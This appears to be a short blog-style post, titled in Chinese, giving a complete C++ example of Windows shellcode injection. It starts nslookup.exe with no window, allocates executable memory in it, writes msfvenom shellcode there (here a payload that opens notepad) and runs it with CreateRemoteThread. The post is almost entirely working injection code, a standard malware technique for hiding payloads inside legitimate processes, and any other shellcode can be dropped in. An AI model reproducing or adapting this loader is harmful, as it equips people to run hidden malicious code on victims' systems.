windows下shellcode注入的例子(WriteProcessMemory+CreateRemoteThread)
vs里x64编译如下代码:
#include <iostream> #include <Windows.h> // #include "common.h" int main() { // msfvenom -p windows/x64/exec CMD=notepad.exe -f c unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" "\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x6e\x6f\x74" "\x65\x70\x61\x64\x2e\x65\x78\x65\x00"; // Create a 64-bit process: STARTUPINFO si; PROCESS_INFORMATION pi; LPVOID allocation_start; SIZE_T allocation_size = sizeof(shellcode); LPCWSTR cmd; HANDLE hProcess, hThread; ZeroMemory(&si, sizeof(si)); ZeroMemory(&pi, sizeof(pi)); si.cb = sizeof(si); cmd = TEXT("C:\\Windows\\System32\\nslookup.exe"); if (!CreateProcess( cmd, // Executable NULL, // Command line NULL, // Process handle not inheritable NULL, // Thread handle not inheritable FALSE, // Set handle inheritance to FALSE CREATE_NO_WINDOW, // Do Not Open a Window NULL, // Use parent's environment block NULL, // Use parent's starting directory &si, // Pointer to STARTUPINFO structure &pi // Pointer to PROCESS_INFORMATION structure (removed extra parentheses) )) { DWORD errval = GetLastError(); std::cout << "FAILED" << errval << std::endl; } WaitForSingleObject(pi.hProcess, 1000); // Allow nslookup 1 second to start/initialize. // Inject into the 64-bit process: // HIGH-LEVEL WINDOWS API: allocation_start = VirtualAllocEx(pi.hProcess, NULL, allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); WriteProcessMemory(pi.hProcess, allocation_start, shellcode, allocation_size, NULL); CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)allocation_start, NULL, 0, 0); }
